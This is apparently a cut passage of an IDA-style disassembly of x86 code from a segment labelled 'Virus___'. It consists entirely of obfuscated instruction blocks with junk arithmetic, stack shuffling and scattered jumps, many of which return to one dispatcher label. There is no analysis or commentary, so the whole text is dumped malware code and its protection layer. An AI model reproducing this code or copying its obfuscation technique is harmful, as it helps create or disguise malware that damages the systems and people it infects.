		mov	ebp, 5FC02420h
		xor	ebp, 6A9447CCh
		add	ebx, ebp
		pop	ebp
		jmp	loc_575674
; ---------------------------------------------------------------------------


loc_57E3BE:				; CODE XREF: Virus___:00572C0Fj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 145E3D1Ch
		inc	ecx
		and	ecx, 393B38B7h
		and	ecx, 0D5A3591h
		sub	ecx, 0BB0DF541h
		jmp	loc_57AD21
; ---------------------------------------------------------------------------


loc_57E3E4:				; CODE XREF: Virus___:00579B72j
		add	edx, esi
		sub	edx, 3CC26ED3h
		pop	esi
		jmp	loc_573816
; ---------------------------------------------------------------------------


loc_57E3F2:				; CODE XREF: Virus___:0057342Aj
		mov	esp, [esp]
		ror	dword ptr [esp], cl
		pushf
		jmp	loc_577797
; ---------------------------------------------------------------------------


loc_57E3FE:				; CODE XREF: Virus___:00573B24j
		mov	ebp, [esp]
		jmp	loc_57B0D1
; ---------------------------------------------------------------------------


loc_57E406:				; CODE XREF: Virus___:0057BDB1j
		sub	esi, 4
		jmp	loc_578D50
; ---------------------------------------------------------------------------


loc_57E40E:				; CODE XREF: Virus___:0057507Cj
		push	ecx
		mov	ecx, 187D6458h
		not	ecx
		or	ecx, 1F01218Ch
		dec	ecx
		dec	ecx
		jmp	loc_578253
; ---------------------------------------------------------------------------


loc_57E423:				; CODE XREF: Virus___:0057B8B1j
		pop	esp
		mov	cx, [esp]
		push	257h
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_57DA45
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_578399
; ---------------------------------------------------------------------------


loc_57E442:				; CODE XREF: Virus___:0057AA68j
		pop	edi
		jmp	loc_5742C4
; ---------------------------------------------------------------------------


loc_57E448:				; CODE XREF: Virus___:0057B17Dj
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, 5D2B7EACh
		add	ebp, esi
		push	eax
		push	ebx
		mov	ebx, 78DB781Ah
		jmp	loc_5784BA
; ---------------------------------------------------------------------------


loc_57E467:				; CODE XREF: Virus___:0057EC60j
		mov	ebp, [esp]
		jmp	loc_57BBF6
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 119C597Ch
		jmp	loc_57B533
; ---------------------------------------------------------------------------


loc_57E482:				; CODE XREF: Virus___:00575F11j
		add	esp, 4
		shl	ebx, 2
		push	78CAh
		mov	[esp], ebx
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		jmp	loc_57A500
; ---------------------------------------------------------------------------


loc_57E4A0:				; CODE XREF: Virus___:00578F0Ej
		pop	esp
		mov	edx, 6647B48Eh
		jmp	loc_576095
; ---------------------------------------------------------------------------


loc_57E4AB:				; CODE XREF: Virus___:0057EA99j
		and	esi, 27EF31A8h
		sub	esi, 6A22129Eh
		jmp	loc_576E75
; ---------------------------------------------------------------------------


loc_57E4BC:				; CODE XREF: Virus___:005757CAj
		sub	edi, 2
		xchg	edi, [esp]
		pop	esp
		mov	[esp], bp
		push	ecx
		jmp	loc_578EDB
; ---------------------------------------------------------------------------


loc_57E4CD:				; CODE XREF: Virus___:0057A3A9j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E4D2:				; CODE XREF: Virus___:0057508Bj
		push	ecx
		push	ebp
		pop	ecx
		pop	ebp
		push	ebp
		push	ecx
		pop	ebp
		pop	ecx
		not	ecx
		xchg	ecx, ebp
		push	1DA1h
		jmp	loc_576508
; ---------------------------------------------------------------------------


loc_57E4E8:				; CODE XREF: Virus___:0057453Dj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_57CD47
; ---------------------------------------------------------------------------


loc_57E500:				; CODE XREF: Virus___:00576707j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	5535h
		mov	[esp], ebp
		push	esi
		jmp	loc_576A6A
; ---------------------------------------------------------------------------


loc_57E520:				; CODE XREF: Virus___:0057AE09j
		mov	eax, 5EFA3FC0h
		jmp	loc_57BD74
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E951240Ch, 0FFFFD859h
; ---------------------------------------------------------------------------


loc_57E534:				; CODE XREF: Virus___:0057E74Aj
		mov	esi, edx
		pop	edx
		add	esi, ebp
		mov	ebp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edx
		mov	edx, 4
		jmp	loc_578A1C
; ---------------------------------------------------------------------------


loc_57E550:				; CODE XREF: Virus___:00575057j
		mov	esi, 71DA1689h
		sub	edx, esi
		pop	esi
		jmp	loc_57A33E
; ---------------------------------------------------------------------------
		pop	dword ptr fs:[edx]
		jmp	loc_572D58
; ---------------------------------------------------------------------------


loc_57E565:				; CODE XREF: Virus___:0057799Fj
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_573497
; ---------------------------------------------------------------------------


loc_57E570:				; CODE XREF: Virus___:005765F4j
		mov	[esp], ebx
		jmp	loc_579522
; ---------------------------------------------------------------------------


loc_57E578:				; CODE XREF: Virus___:00575868j
		add	esp, 4
		jmp	loc_57B158
; ---------------------------------------------------------------------------


loc_57E583:				; CODE XREF: Virus___:00575C13j
		add	al, 34h
		jmp	loc_576230
; ---------------------------------------------------------------------------


loc_57E58A:				; CODE XREF: Virus___:00572F47j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_57BB11
; ---------------------------------------------------------------------------


loc_57E59E:				; CODE XREF: Virus___:00573103j
		mov	eax, 44FE5C98h
		xor	eax, 26D812C9h
		xor	ebp, eax
		pop	eax
		sub	ebp, 0FBD999CAh
		jmp	loc_574E24
; ---------------------------------------------------------------------------


loc_57E5B6:				; CODE XREF: Virus___:005757EEj
		add	bl, dh
		pop	edx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_57540F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2E3Ch
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		push	2
		jmp	loc_57DE63
; ---------------------------------------------------------------------------


loc_57E5E4:				; CODE XREF: Virus___:00575D80j
		shr	edi, 5
		jmp	loc_57E078
; ---------------------------------------------------------------------------


loc_57E5EC:				; CODE XREF: Virus___:0057A711j
		add	eax, ecx
		sub	eax, 29BD0336h
		jmp	loc_5789E9
; ---------------------------------------------------------------------------


loc_57E5F8:				; CODE XREF: Virus___:0057493Dj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_57D21A
; ---------------------------------------------------------------------------


loc_57E603:				; CODE XREF: Virus___:00576A65j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E608:				; CODE XREF: Virus___:0057AFCCj
		mov	[esp], ebp
		mov	ebp, 1CD02FEh
		xor	ebp, 20BA62A1h
		shl	ebp, 6
		jmp	loc_57D3ED
; ---------------------------------------------------------------------------


loc_57E61E:				; CODE XREF: Virus___:00573D36j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_57358B
; ---------------------------------------------------------------------------


loc_57E62C:				; CODE XREF: Virus___:00578436j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	edx
		jmp	loc_57E9B9
; ---------------------------------------------------------------------------


loc_57E639:				; CODE XREF: Virus___:005764FDj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_57CAD4
; ---------------------------------------------------------------------------


loc_57E648:				; CODE XREF: Virus___:0057933Cj
		xchg	ebp, edx
		not	ebp
		jmp	loc_57D6E8
; ---------------------------------------------------------------------------


loc_57E651:				; CODE XREF: Virus___:0057BE0Dj
		or	eax, eax
		jz	loc_57BC0B
		push	edx
		mov	edx, esp
		push	edi
		jmp	loc_57D5FA
; ---------------------------------------------------------------------------


loc_57E662:				; CODE XREF: Virus___:0057D350j
		dec	ecx
		jmp	loc_575EDE
; ---------------------------------------------------------------------------


loc_57E668:				; CODE XREF: Virus___:0057A78Aj
		sub	edi, ebx
		pop	ebx
		pop	edx
		retn
; ---------------------------------------------------------------------------
		jmp	loc_578762
; ---------------------------------------------------------------------------


loc_57E672:				; CODE XREF: Virus___:005735B6j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, edi
		jmp	loc_579709
; ---------------------------------------------------------------------------


loc_57E680:				; CODE XREF: Virus___:00579B0Cj
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E685:				; CODE XREF: Virus___:0057AAE0j
		mov	bx, [esp]
		push	1BE3h
		mov	[esp], edx
		mov	edx, esp
		push	edi
		push	esi
		push	3F950C8Dh
		pop	esi
		push	edi
		push	eax
		mov	eax, 710F2F12h
		mov	edi, 0E0FB900Fh
		jmp	loc_57C6D2
; ---------------------------------------------------------------------------


loc_57E6AC:				; CODE XREF: Virus___:00572C22j
		push	ebp
		mov	ebp, 3450339Ah
		and	ebp, 544A6963h
		push	edx
		jmp	loc_57814A
; ---------------------------------------------------------------------------


loc_57E6BE:				; CODE XREF: Virus___:005741BEj
		add	bl, 49h
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_57C5C3
; ---------------------------------------------------------------------------


loc_57E6D8:				; CODE XREF: Virus___:00572F16j
		sub	ebx, 0AB0B12C8h
		add	edi, ebx
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_575847
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5733A8
; ---------------------------------------------------------------------------


loc_57E701:				; CODE XREF: Virus___:00578CD0j
		sub	esp, 4
		mov	[esp], eax
		mov	al, 74h
		add	al, 1
		shr	al, 3
		and	al, 0E7h
		jmp	loc_57C6A5
; ---------------------------------------------------------------------------


loc_57E718:				; CODE XREF: Virus___:0057F040j
		sub	dl, 0FCh
		mov	al, dl
		pop	edx
		add	al, 0C1h
		jmp	loc_57302A
; ---------------------------------------------------------------------------


loc_57E725:				; CODE XREF: Virus___:00577D6Bj
		add	edi, esi
		mov	esi, [esp]
		jmp	loc_573E21
; ---------------------------------------------------------------------------


loc_57E72F:				; CODE XREF: Virus___:0057635Ej
		or	esi, 72AF713Eh
		add	esi, 7888365Fh
		sub	edi, esi
		pop	esi
		push	edx
		jmp	loc_57C33B
; ---------------------------------------------------------------------------


loc_57E744:				; CODE XREF: Virus___:0057AABBj
		add	edx, 0FF1D9596h
		jmp	loc_57E534
; ---------------------------------------------------------------------------


loc_57E74F:				; CODE XREF: Virus___:0057A57Fj
		push	ecx
		push	edi
		push	2B5D5398h
		mov	edi, [esp]
		add	esp, 4
		or	edi, 27156380h
		add	edi, 1374C517h
		mov	ecx, edi
		jmp	loc_57636F
; ---------------------------------------------------------------------------


loc_57E76F:				; CODE XREF: Virus___:0057CBF3j
		push	dword ptr [edi+eax*4]
		push	2267h
		jmp	loc_57A358
; ---------------------------------------------------------------------------


loc_57E77C:				; CODE XREF: Virus___:0057991Ej
		shl	ecx, 5
		jmp	loc_578ADD
; ---------------------------------------------------------------------------


loc_57E784:				; CODE XREF: Virus___:00572F88j
		or	bp, 7815h
		jmp	loc_57D333
; ---------------------------------------------------------------------------


loc_57E78E:				; CODE XREF: Virus___:0057AC22j
		sub	esi, 7BEE47D6h
		sub	esi, ebx
		add	esi, 7BEE47D6h
		pop	ebx
		jmp	loc_5753AE
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	6521h
		jmp	loc_579BE9
; ---------------------------------------------------------------------------


loc_57E7B0:				; CODE XREF: Virus___:00579C92j
		and	ebx, 3E024251h
		not	ebx
		neg	ebx
		xor	ebx, 0A4996DAAh
		sub	edx, 61E96AB9h
		add	edx, ebx
		add	edx, 61E96AB9h
		jmp	loc_575FB9
; ---------------------------------------------------------------------------


loc_57E7D3:				; CODE XREF: Virus___:005793C7j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E7E3:				; CODE XREF: Virus___:00575E58j
		sub	edx, eax
		pop	eax
		add	edx, ecx
		push	esi
		push	ebx
		mov	ebx, 2750DD6h
		jmp	loc_575E36
; ---------------------------------------------------------------------------


loc_57E7F4:				; CODE XREF: Virus___:00575D57j
		inc	edi
		xor	edi, 0F3F1DEEBh
		xor	edx, edi
		pop	edi
		sub	ebx, edx
		pop	edx
		jmp	loc_57A668
; ---------------------------------------------------------------------------


loc_57E806:				; CODE XREF: Virus___:00578CF5j
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_57897E
; ---------------------------------------------------------------------------


loc_57E80F:				; CODE XREF: Virus___:00574AA7j
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_577383
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5782CD
; ---------------------------------------------------------------------------


loc_57E831:				; CODE XREF: Virus___:00579874j
		add	esp, 4
		push	1DFh
		mov	[esp], edi
		jmp	loc_5737D4
; ---------------------------------------------------------------------------


loc_57E841:				; CODE XREF: Virus___:0057C971j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	edx, 0C233B1h
		mov	ebp, edx
		jmp	loc_575AD0
; ---------------------------------------------------------------------------


loc_57E858:				; CODE XREF: Virus___:00577487j
		add	ebx, eax
		add	ebx, 301F1880h
		pop	eax
		push	ecx
		push	ebp
		mov	ebp, 28FA2777h
		add	ebp, 435129E2h
		shr	ebp, 4
		shl	ebp, 3
		shl	ebp, 3
		xor	ebp, 93025BAh
		jmp	loc_57438B
; ---------------------------------------------------------------------------


loc_57E882:				; CODE XREF: Virus___:0057683Cj
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_575EBD
; ---------------------------------------------------------------------------


loc_57E88E:				; CODE XREF: Virus___:00578C81j
		mov	dh, bl
		mov	[eax], dh
		pop	edx
		pop	eax
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4F606977h
		sub	edi, 2C0747D2h
		neg	edi
		shr	edi, 2
		and	edi, 3A8C02B5h
		xor	edi, 32080290h
		add	esi, edi
		pop	edi
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E8C9:				; CODE XREF: Virus___:00577192j
		push	3D84h
		mov	[esp], esi
		push	edi
		mov	edi, 4A0A07DFh
		push	ebp
		mov	ebp, 0C76531A8h
		jmp	loc_574A76
; ---------------------------------------------------------------------------


loc_57E8E2:				; CODE XREF: Virus___:00575034j
		sub	eax, 74E6592Ch
		xor	eax, 0D06D74ACh
		add	ebx, eax
		pop	eax
		mov	[ebx], eax
		jmp	loc_5746EC
; ---------------------------------------------------------------------------


loc_57E8F6:				; CODE XREF: Virus___:0057793Ej
		pop	eax
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_573787
; ---------------------------------------------------------------------------


loc_57E900:				; CODE XREF: Virus___:0057AD88j
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57E905:				; CODE XREF: Virus___:00578F8Fj
		or	eax, 6A765224h
		sub	eax, 1
		inc	eax
		xor	eax, 0C621A307h
		jmp	loc_57B9F9
; ---------------------------------------------------------------------------


loc_57E91A:				; CODE XREF: Virus___:005773D1j
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2
		add	ebp, ecx
		jmp	loc_57A6C3
; ---------------------------------------------------------------------------


loc_57E930:				; CODE XREF: Virus___:0057B1E0j
		not	ebp
		xchg	ebp, ebx
		push	ecx
		mov	ecx, 5CE056E4h
		jmp	loc_57623E
; ---------------------------------------------------------------------------


loc_57E93F:				; CODE XREF: Virus___:00579C36j
		sub	[esp+4], ebp
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_57E94C:				; CODE XREF: Virus___:005758A3j
		push	4F99h
		jmp	loc_57464C
; ---------------------------------------------------------------------------


loc_57E956:				; CODE XREF: Virus___:0057663Cj
		mov	ebp, 8581941h
		sub	ebp, 0A493F9DFh
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		neg	ebp
		xor	ebp, 764807BBh
		add	ebp, 0EA73E72Ch
		add	edi, 57B37EDCh
		add	edi, ebp
		push	esi
		mov	esi, 57B37EDCh
		sub	edi, esi
		pop	esi
		pop	ebp
		jmp	loc_572CEA
; ---------------------------------------------------------------------------


loc_57E98C:				; CODE XREF: Virus___:005740FFj
		sub	ebp, 5C847326h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5793F6
; ---------------------------------------------------------------------------


loc_57E9A6:				; CODE XREF: Virus___:00576CDFj
		xor	bl, ah
		pop	ax
		dec	bl
		sub	bl, 34h
		add	dl, bl
		mov	ebx, [esp]
		jmp	loc_57EE4F
; ---------------------------------------------------------------------------


loc_57E9B9:				; CODE XREF: Virus___:0057E634j
		mov	edx, esp
		add	edx, 4
		jmp	loc_573012
; ---------------------------------------------------------------------------


loc_57E9C6:				; CODE XREF: Virus___:0057C1CAj
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_579A32
; ---------------------------------------------------------------------------


loc_57E9D0:				; CODE XREF: Virus___:0057A02Cj
		pop	ebx
		neg	esi
		and	esi, 2123751h
		not	esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 55A61712h
		xor	esi, ebp
		pop	ebp
		push	eax
		mov	eax, 767F02BAh
		jmp	loc_575F2A
; ---------------------------------------------------------------------------


loc_57E9F4:				; CODE XREF: Virus___:00577205j
		mov	[esp], edx
		mov	edx, ebx
		jmp	loc_5747AD
; ---------------------------------------------------------------------------


loc_57E9FE:				; CODE XREF: Virus___:00574312j
		or	ebp, ecx
		pop	ecx
		dec	ebp
		sub	ebp, 25996F5Bh
		add	eax, ebp
		jmp	loc_578A9A
; ---------------------------------------------------------------------------


loc_57EA0F:				; CODE XREF: Virus___:00576DBEj
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		xor	eax, esi
		xor	esi, eax
		xor	eax, esi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	48FFh
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_573319
; ---------------------------------------------------------------------------


loc_57EA56:				; CODE XREF: Virus___:0057BE56j
		push	ebx
		push	33C5h
		jmp	loc_5740E2
; ---------------------------------------------------------------------------


loc_57EA61:				; CODE XREF: Virus___:00578BB8j
		neg	edi
		sub	edi, 6FB35542h
		shr	edi, 5
		jmp	loc_57E2AF
; ---------------------------------------------------------------------------


loc_57EA71:				; CODE XREF: Virus___:0057564Fj
		pop	esp
		jmp	loc_577710
; ---------------------------------------------------------------------------


loc_57EA77:				; CODE XREF: Virus___:00577684j
		inc	ecx
		shr	ecx, 6
		push	esi
		mov	esi, 6A5D5B03h
		dec	esi
		shl	esi, 5
		or	esi, 38CF5149h
		not	esi
		jmp	loc_57741C
; ---------------------------------------------------------------------------


loc_57EA92:				; CODE XREF: Virus___:0057A475j
		pop	ebp
		add	esi, 1E6610E1h
		jmp	loc_57E4AB
; ---------------------------------------------------------------------------


loc_57EA9E:				; CODE XREF: Virus___:0057DF57j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	6DB6h
		jmp	loc_57EDE6
; ---------------------------------------------------------------------------


loc_57EAAF:				; CODE XREF: Virus___:0057E333j
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		jmp	loc_57AEEE
; ---------------------------------------------------------------------------


loc_57EACA:				; CODE XREF: Virus___:0057E36Fj
		add	esp, 4
		jmp	loc_577D2C
; ---------------------------------------------------------------------------


loc_57EAD5:				; CODE XREF: Virus___:00573E49j
		pop	cx
		sub	al, 3Eh
		add	al, 3Bh
		jmp	loc_57B66D
; ---------------------------------------------------------------------------


loc_57EAE0:				; CODE XREF: Virus___:0057788Bj
		not	esi
		xor	edx, esi
		jmp	loc_57DAF2
; ---------------------------------------------------------------------------


loc_57EAE9:				; CODE XREF: Virus___:005793F9j
		pop	esp
		xor	eax, ebp
		pop	ebp
		push	esi
		push	ebx
		mov	ebx, 61F72739h
		jmp	loc_57A018
; ---------------------------------------------------------------------------


loc_57EAF9:				; CODE XREF: Virus___:0057B96Fj
		push	ecx
		mov	ecx, 4C271835h
		sub	edi, ecx
		pop	ecx
		add	edi, 1
		neg	edi
		xor	edi, 0CEA5BE2Ch
		mov	edx, edi
		jmp	loc_57E086
; ---------------------------------------------------------------------------


loc_57EB17:				; CODE XREF: Virus___:0057BCD3j
		add	esp, 4
		jmp	loc_57DB01
; ---------------------------------------------------------------------------


loc_57EB1F:				; CODE XREF: Virus___:0057D013j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_5751C2
; ---------------------------------------------------------------------------


loc_57EB33:				; CODE XREF: Virus___:00574B0Cj
		add	ecx, 4
		jmp	loc_57B182
; ---------------------------------------------------------------------------


loc_57EB3E:				; CODE XREF: Virus___:005771D5j
		push	edi
		jmp	loc_5766F5
; ---------------------------------------------------------------------------
		dd 4E72CACh, 0B2525152h, 3050B532h, 0F0A9E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57EB56:				; CODE XREF: Virus___:005781E0j
		not	eax
		sub	eax, 0D514AEBEh
		add	edx, eax
		jmp	loc_579866
; ---------------------------------------------------------------------------


loc_57EB64:				; CODE XREF: Virus___:0057C6C2j
		push	eax
		mov	al, 0C6h
		add	al, 5Fh
		jmp	loc_575C90
; ---------------------------------------------------------------------------


loc_57EB6E:				; CODE XREF: Virus___:00574456j
		add	ebp, 99D2F56h
		pop	ebx
		jmp	loc_5765F9
; ---------------------------------------------------------------------------


loc_57EB7A:				; CODE XREF: Virus___:00576C33j
		mov	[esp], cx
		xor	word ptr [esp],	4FFEh
		pop	bp
		jmp	loc_578011
; ---------------------------------------------------------------------------


loc_57EB8B:				; CODE XREF: Virus___:00572F0Bj
		mov	ecx, ebp
		push	ebp
		push	ebx
		mov	ebx, ecx
		jmp	loc_5770D1
; ---------------------------------------------------------------------------


loc_57EB96:				; CODE XREF: Virus___:0057A5E6j
		mov	eax, [esp]
		add	esp, 4
		add	ebx, ecx
		jmp	loc_578E86
; ---------------------------------------------------------------------------


loc_57EBA3:				; CODE XREF: Virus___:00576D2Fj
		add	esi, 1876FE71h
		add	ebp, esi
		pop	esi
		add	ebp, 5AAD4067h
		add	ebp, 22E6BC80h
		mov	eax, ebp
		jmp	loc_575090
; ---------------------------------------------------------------------------


loc_57EBBF:				; CODE XREF: Virus___:005747E1j
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		push	eax
		jmp	loc_57A214
; ---------------------------------------------------------------------------


loc_57EBCB:				; CODE XREF: Virus___:0057EC17j
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	16D5h
		mov	[esp], esp
		jmp	loc_577401
; ---------------------------------------------------------------------------


loc_57EBE2:				; CODE XREF: Virus___:0057766Bj
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		jmp	loc_57B4F9
; ---------------------------------------------------------------------------


loc_57EBEE:				; CODE XREF: Virus___:00574262j
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	45E1h
		mov	[esp], esi
		push	esp
		jmp	loc_579F3B
; ---------------------------------------------------------------------------


loc_57EC0F:				; CODE XREF: Virus___:0057D673j
		add	esp, 4
		and	eax, ebx
		jmp	loc_57EBCB
; ---------------------------------------------------------------------------


loc_57EC1C:				; CODE XREF: Virus___:0057934Fj
		push	cx
		pushf
		jmp	loc_5763DB
; ---------------------------------------------------------------------------


loc_57EC24:				; CODE XREF: Virus___:00574F51j
		add	eax, edi
		jmp	loc_57689A
; ---------------------------------------------------------------------------


loc_57EC2B:				; CODE XREF: Virus___:0057E1A7j
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 7B83659Dh
		shl	edx, 8
		jmp	loc_57787D
; ---------------------------------------------------------------------------


loc_57EC40:				; CODE XREF: Virus___:00574FABj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_574B8C
; ---------------------------------------------------------------------------


loc_57EC51:				; CODE XREF: Virus___:00579B57j
		add	esi, 4
		push	eax
		push	ebp
		jmp	loc_574ACC
; ---------------------------------------------------------------------------


loc_57EC5E:				; CODE XREF: Virus___:0057EF7Cj
		xor	edi, ebp
		jmp	loc_57E467
; ---------------------------------------------------------------------------


loc_57EC65:				; CODE XREF: Virus___:0057BB55j
		sub	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57EC7E:				; CODE XREF: Virus___:00579492j
		pop	ecx
		jmp	loc_57459D
; ---------------------------------------------------------------------------


loc_57EC84:				; CODE XREF: Virus___:005760E4j
		xor	[esp], ecx
		jmp	loc_576BBE
; ---------------------------------------------------------------------------


loc_57EC8C:				; CODE XREF: Virus___:005791F7j
		sub	eax, ebx
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 664B42D7h
		push	5682h
		mov	[esp], ebp
		push	ecx
		jmp	loc_57D3DE
; ---------------------------------------------------------------------------


loc_57ECA8:				; CODE XREF: Virus___:0057AD1Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_579A92
; ---------------------------------------------------------------------------


loc_57ECB3:				; CODE XREF: Virus___:0057DE55j
		mov	[esp], ebx
		push	edx
		push	eax
		jmp	loc_574143
; ---------------------------------------------------------------------------


loc_57ECBD:				; CODE XREF: Virus___:00578BA0j
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 4E913417h
		jmp	loc_578717
; ---------------------------------------------------------------------------


loc_57ECCF:				; CODE XREF: Virus___:0057A3FAj
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_574385
; ---------------------------------------------------------------------------


loc_57ECD8:				; CODE XREF: Virus___:00573619j
		and	edx, 198804B6h
		jmp	loc_576D3A
; ---------------------------------------------------------------------------


loc_57ECE3:				; CODE XREF: Virus___:0057BC9Ej
		dec	edx
		jmp	loc_57BDE1
; ---------------------------------------------------------------------------


loc_57ECE9:				; CODE XREF: Virus___:00576FADj
		sub	[esp+4], edx
		jmp	loc_57C94E
; ---------------------------------------------------------------------------


loc_57ECF2:				; CODE XREF: Virus___:00579C6Dj
		mov	ah, bh
		jmp	loc_57E249
; ---------------------------------------------------------------------------


loc_57ECF9:				; CODE XREF: Virus___:0057C7D1j
		xor	[esp], eax
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57ED01:				; CODE XREF: Virus___:00574FCDj
		push	edi
		mov	edi, 67D61B1h
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 989C5883h
		add	ebp, ecx
		jmp	loc_57410B
; ---------------------------------------------------------------------------


loc_57ED1C:				; CODE XREF: Virus___:00573D09j
		add	ebp, 5C826899h
		add	ebp, edx
		jmp	loc_573D2C
; ---------------------------------------------------------------------------


loc_57ED29:				; CODE XREF: Virus___:0057540Aj
		pop	ebx
		pop	edi
		xor	[esp+4], eax
		pop	eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	2AEAh
		mov	[esp], ebp
		mov	ebp, 1DF2439Dh
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edx, 6F810354h
		add	edx, 1E8051D5h
		add	edx, eax
		sub	edx, 1E8051D5h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 65B565EBh
		push	ebp
		jmp	loc_57EFE5
; ---------------------------------------------------------------------------


loc_57ED7C:				; CODE XREF: Virus___:00575900j
		push	ecx
		mov	cl, 34h
		jmp	loc_579396
; ---------------------------------------------------------------------------


loc_57ED84:				; CODE XREF: Virus___:0057D617j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 2Ch
		sub	al, 0C9h
		push	edx
		mov	dl, 0EBh
		sub	dl, 90h
		and	dl, 73h
		push	ebx
		mov	bh, 0
		dec	bh
		neg	bh
		push	ecx
		mov	ch, bh
		dec	ch
		mov	bh, ch
		pop	ecx
		jmp	loc_572F5D
; ---------------------------------------------------------------------------


loc_57EDBE:				; CODE XREF: Virus___:0057A2D9j
		add	esp, 4
		jmp	loc_5729F6
; ---------------------------------------------------------------------------


loc_57EDC9:				; CODE XREF: Virus___:0057B940j
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5761C0
; ---------------------------------------------------------------------------


loc_57EDD4:				; CODE XREF: Virus___:00572BEAj
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_576F63
; ---------------------------------------------------------------------------


loc_57EDE6:				; CODE XREF: Virus___:0057EAAAj
		mov	[esp], ecx
